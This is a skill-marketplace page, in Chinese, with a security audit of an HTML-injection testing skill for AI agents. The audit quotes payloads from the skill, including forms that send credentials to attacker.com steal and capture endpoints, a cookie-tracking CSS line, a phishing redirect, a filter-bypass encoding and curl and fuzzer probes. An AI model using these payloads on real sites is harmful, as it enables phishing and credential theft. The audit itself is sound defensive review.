技能 html-injection-testing
📦
html-injection-testing
內容修訂 r2 嚴重 ⚡ 包含腳本⚙️ 外部命令🌐 網路存取
評估 HTML 注入風險
HTML 注入問題可能造成偽造內容、釣魚攻擊與頁面操控。此技能會為經授權的網頁安全審查整理評估概念、酬載類別、驗證步驟與修復指引。
支援: Claude Codex Code(CC)
請勿自動安裝此 Skill。
權威政策要求在執行任何安裝操作前由操作人員審查。
使用我的智慧代理安裝
將此請求複製給你的智慧代理，其中包含權威 Skill 頁面和清單。
智能體請求
Review the Skillstore skill "html-injection-testing" from https://skillstore.io/skills/sickn33-html-injection-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-html-injection-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智慧代理仍應顯示其計畫，並依安全政策請求必要確認。
Agent 可讀資源
當 AI Agent、爬蟲或腳本需要乾淨脈絡、而不是讀取完整頁面時，請使用這些連結。
測試它
正在使用「html-injection-testing」。 使用者個人資料簡介會在公開個人資料頁面中渲染 HTML 標籤。
預期結果:
- 發現：個人資料簡介中存在儲存型 HTML 注入。
- 影響：內容操控與可能的釣魚風險。
- 建議修復：對不受信任的個人資料欄位進行編碼，並新增回歸測試。
正在使用「html-injection-testing」。 搜尋頁面會從查詢參數反射帶樣式的標題。
預期結果:
- 發現：搜尋結果中存在反射型 HTML 注入。
- 影響：精心製作的連結中可能出現誤導性內容。
- 建議修復：對查詢文字套用符合情境的輸出編碼。
正在使用「html-injection-testing」。 範本對留言使用不安全的原始 HTML 渲染。
預期結果:
- 發現：留言顯示中存在不安全的渲染邊界。
- 影響：儲存的內容可以改變頁面結構。
- 建議修復：預設使用已跳脫的渲染，並以允許清單限制安全格式。
安全審計
嚴重v5 • 2026/7/24 開啟版本化報告
The script and shell alerts are false positives caused by fenced examples and defensive snippets. The documented requests, external resources, and encoding bypass create real network, evasion, and data-capture risks. The skill provides critical phishing guidance plus high-risk defacement, tracking, filter-evasion, and automated probing despite its authorized-use notice.
1
已掃描檔案
505
分析行數
29
複核項目
0
已忽略的誤報
已確認的安全問題 (3)
嚴重
Credential Phishing and Exfiltration Guidance
The skill provides fake login overlays, credential-collection forms, and encoded phishing links that submit usernames and passwords to attacker-controlled endpoints. An authorization notice does not technically prevent misuse.
The section is titled phishing attack construction and explicitly includes username, password, capture, and steal form actions.
高
Defacement, Tracking, and Filter-Evasion Workflow
The skill explains full-page defacement, hidden tracking, redirects, filter bypasses, and automated payload delivery. These instructions can support unauthorized disruption or covert probing.
The cited sections explicitly label defacement, advanced injection, bypass techniques, and an automated fuzzer that sends crafted requests.
中
Unicode escape sequence
\u003ch1\u003eUnicode\u003c/h1\u003e
This Unicode encoding appears under bypass techniques and is explicitly intended to evade basic filters. The context makes it actionable evasion guidance.
能力複核項目 (29)
這些是真實的本機能力，對此技能而言可能是預期行為，因此需要複核，但不會按已確認的惡意行為計分。
高
Hardcoded URL
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
The payload presents an external phishing URL under trusted-looking link text. Its purpose is to misdirect users to an attacker-controlled login page.
高
Hardcoded URL
<form action="http://attacker.com/steal" method="POST">
The injected form submits username and password fields to an external steal endpoint. This is explicit credential-exfiltration behavior if deployed.
高
Hardcoded URL
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
The reflected payload embeds a form action that sends data to an external steal endpoint. It combines injection delivery with credential-exfiltration intent.
高
Hardcoded URL
<form action="http://attacker.com/capture" method="POST">
The fake session-expiry form submits usernames and passwords to an external capture endpoint. The surrounding section explicitly constructs a phishing attack.
高
Hardcoded URL
<form action="http://attacker.com/steal" method="POST">
The form submits user and password fields to an external steal endpoint. This is direct credential collection and exfiltration guidance.
高
Hardcoded URL
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%2
The encoded URL contains a full-screen phishing form with an external capture action. It is presented as a shareable phishing link.
高
Hardcoded URL
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
The meta-refresh payload redirects users to an external phishing endpoint. This is a direct user-redirection risk when injected.
高
Hardcoded URL
<form action="http://attacker.com/steal">
The payload overrides a form action with an external steal endpoint. If injected into a form context, submitted user data can be exfiltrated.
中
Python HTTP libraries
response = requests.get(url, timeout=5)
The example fuzzer directly issues GET requests for every payload. Running it creates repeated active network traffic without target validation or rate limiting.
中
Hardcoded URL
<a href="http://attacker.com">Legitimate Link</a>
The link disguises an external destination as a legitimate link. If used in an injection test, it demonstrates a realistic phishing redirect.
中
Hardcoded URL
http://target.com/register
This URL receives a scripted POST containing an XSS payload in the preceding command. Executing the example actively probes a target application.
中
Hardcoded URL
input { background: url('http://attacker.com/log?data=') }
The CSS payload references an external logging endpoint from an input background. Rendering it can trigger covert outbound requests, even though this exact form may not capture field values.
中
Hardcoded URL
<img src="http://attacker.com/defaced.jpg"
The full-page defacement payload loads an image from an external domain. Rendering it creates outbound traffic and replaces the visible application.
中
Hardcoded URL
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
The CSS example intends to send cookie data to an external tracking endpoint. The shown concatenation may be ineffective CSS, but its exfiltration intent is explicit.
中
Hardcoded URL
<div style="background:url('http://attacker.com/log')">Content</div>
The injected style loads a background from an external logging endpoint. Rendering the payload can create a covert tracking request.
中
Hardcoded URL
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
The iframe payload embeds external content labeled malicious. Rendering it creates a third-party request and can present attacker-controlled content.
中
Hardcoded URL
<iframe src="http://attacker.com/track" style="display:none"></iframe>
The invisible iframe loads an external tracking endpoint. Its hidden presentation makes the outbound request covert.
中
Hardcoded URL
target = "http://target.com/search"
This public-looking URL is the target used by the executable fuzzing script. The loop sends multiple crafted requests to it without an allowlist check.
中
Hardcoded URL
"<a href='http://evil.com'>Click</a>",
This external link is included in the automated fuzzer payload list. Reflection can place a deceptive attacker-controlled destination into the tested page.
中
Hardcoded URL
"<iframe src='http://evil.com'></iframe>",
This external iframe is included in the automated fuzzer payload list. Successful reflection can cause browsers to load attacker-controlled content.
低
Hardcoded URL
<a href="http://attacker.com">Click Here</a>
The example link points to a non-reserved external domain. Rendering or following the payload can contact a third party, although the text presents it as a test example.
低
Hardcoded URL
<img src="http://attacker.com/image.png">
The image payload loads a resource from a non-reserved external domain when rendered. This creates outbound traffic beyond a purely local demonstration.
低
Hardcoded URL
curl "http://target.com/search?q=<h1>Test</h1>"
This is an executable curl probe against a public-looking target URL. Running the documented command produces active network traffic.
低
Hardcoded URL
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
This curl pipeline actively requests a target and inspects its response for reflected markup. Authorization is stated in prose but not enforced.
低
Hardcoded URL
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
This executable curl example sends an encoded injection payload to a target URL. It creates active network traffic when followed.
低
Hardcoded URL
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
The URL is a ready-to-use reflected injection probe against a public-looking target. Following it sends active traffic and displays deceptive content if vulnerable.
低
Hardcoded URL
http://target.com/submit
This URL is the destination of the preceding executable POST injection command. Running that example actively modifies data submitted to a target application.
低
Hardcoded URL
http://target.com/page/<h1>Injected</h1>
The URL embeds an injection payload directly in a target path. Requesting it is an active probe rather than a local-only example.
低
Hardcoded URL
http://target.com/users/<img src=x>/profile
The URL places an image tag in a target path for reflection testing. Requesting it creates active network traffic against the named target.
風險因素
⚡ 包含腳本 (2)
⚙️ 外部命令 (50)
SKILL.md:45-58 SKILL.md:58-75 SKILL.md:75-86 SKILL.md:86-89 SKILL.md:89-100 SKILL.md:100-106 SKILL.md:106-126 SKILL.md:126-129 SKILL.md:129-138 SKILL.md:138-146 SKILL.md:146-161 SKILL.md:161-167 SKILL.md:167-173 SKILL.md:173-179 SKILL.md:179-187 SKILL.md:187-193 SKILL.md:193-199 SKILL.md:199-205 SKILL.md:205-229 SKILL.md:229-232 SKILL.md:232-234 SKILL.md:234-240 SKILL.md:240-262 SKILL.md:262-268 SKILL.md:268-278 SKILL.md:278-282 SKILL.md:282-288 SKILL.md:288-292 SKILL.md:292-299 SKILL.md:299-303 SKILL.md:303-309 SKILL.md:309-315 SKILL.md:315-340 SKILL.md:340-346 SKILL.md:346-354 SKILL.md:354-358 SKILL.md:358-363 SKILL.md:363-367 SKILL.md:367-398 SKILL.md:398-404 SKILL.md:404-413 SKILL.md:413-415 SKILL.md:415-423 SKILL.md:423-425 SKILL.md:425-435 SKILL.md:435-449 SKILL.md:449-450 SKILL.md:450-451 SKILL.md:451-452 SKILL.md:452-453
🌐 網路存取 (29)
SKILL.md:391 SKILL.md:120 SKILL.md:121 SKILL.md:124 SKILL.md:131 SKILL.md:134 SKILL.md:137 SKILL.md:151 SKILL.md:156 SKILL.md:169 SKILL.md:172 SKILL.md:182 SKILL.md:186 SKILL.md:195 SKILL.md:198 SKILL.md:211 SKILL.md:222 SKILL.md:224 SKILL.md:233 SKILL.md:255 SKILL.md:271 SKILL.md:277 SKILL.md:284 SKILL.md:294 SKILL.md:305 SKILL.md:308 SKILL.md:372 SKILL.md:380 SKILL.md:383
審計單位: codex 檢視審計紀錄 →
分享與引用此報告
分享版本化評估報告、中性徽章、嵌入卡片與引用。Skillstore 只報告證據，不判斷該 Skill 是否安全。
複製報告連結
https://skillstore.io/skills/sickn33-html-injection-testing/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-html-injection-testing?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-html-injection-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-html-injection-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-html-injection-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>學術引用 (APA · BibTeX · CFF)
APA 引用
zebbern. (2026). html-injection-testing security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-html-injection-testing/audits/5BibTeX 引用
@techreport{zebbern-sickn33-html-injection-testing-2026,
author = {zebbern},
title = {html-injection-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-html-injection-testing/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "html-injection-testing security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-24"
url: "https://skillstore.io/skills/sickn33-html-injection-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-html-injection-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore 評分
評分依據 證據置信度: 中 55
架構
85
可維護性
87
內容
71
社群
78
規範符合度
你可以打造什麼
審查經授權應用程式輸入
繪製反射型與儲存型注入點，然後記錄影響與修復方式。
修復不安全的渲染路徑
使用跳脫、清理與 CSP 指引來降低注入暴露面。
評估市集安全性
在核准內部訓練素材前，識別高風險酬載與雙重用途指引。
試試這些提示
說明風險
以簡單詞語說明經授權網頁應用程式審查中的 HTML 注入。包含它與 XSS 的差異，以及安全修復的優先順序。
規劃經授權測試
為我的經授權預備環境應用程式建立保守的測試計畫。聚焦於輸入面、證據收集與安全的影響證明。
審查發現項目
審查這些來自經授權測試的 HTML 注入發現項目。排序風險、識別可能的根本原因，並提出修復步驟，但不要加入利用酬載。
強化渲染程式碼
分析我的渲染與範本處理方式是否有 HTML 注入風險。建議輸出編碼、清理邊界、CSP 控制與回歸測試。
最佳實務
- 只在你具備書面授權的系統上執行測試。
- 擷取最小必要的影響證明，並避免收集憑證或個人資料。
- 為每個發現項目搭配根本原因、受影響情境與修復測試。
避免
- 使用此技能建立釣魚頁面、憑證擷取表單或公開網頁竄改內容。
- 在沒有授權、範圍與回復計畫的情況下測試生產系統。
- 將酬載複製到報告中，卻未說明業務影響與修復方式。
常見問題
此技能可以安全發布嗎？
稽核識別出高風險雙重用途內容與憑證竊取範例，因此發布前需要修復。
它會自動執行程式碼嗎？
不會。它是文件，但包含使用者可手動執行的命令與指令碼。
它能支援經授權測試嗎？
可以，但僅限明確範圍內。不安全的範例應在發布前移除或加以限制。
HTML 注入與 XSS 有何不同？
HTML 注入會改變頁面標記。XSS 會執行指令碼。兩者都需要仔細審查輸出處理。
它建議哪些修復方式？
它建議使用輸出編碼、輸入驗證、清理工具、CSP，並避免不安全的渲染 API。
作者在核准前應變更哪些內容？
移除釣魚、憑證擷取、網頁竄改與繞過篩選器的指引。將技能重新聚焦於偵測與修復。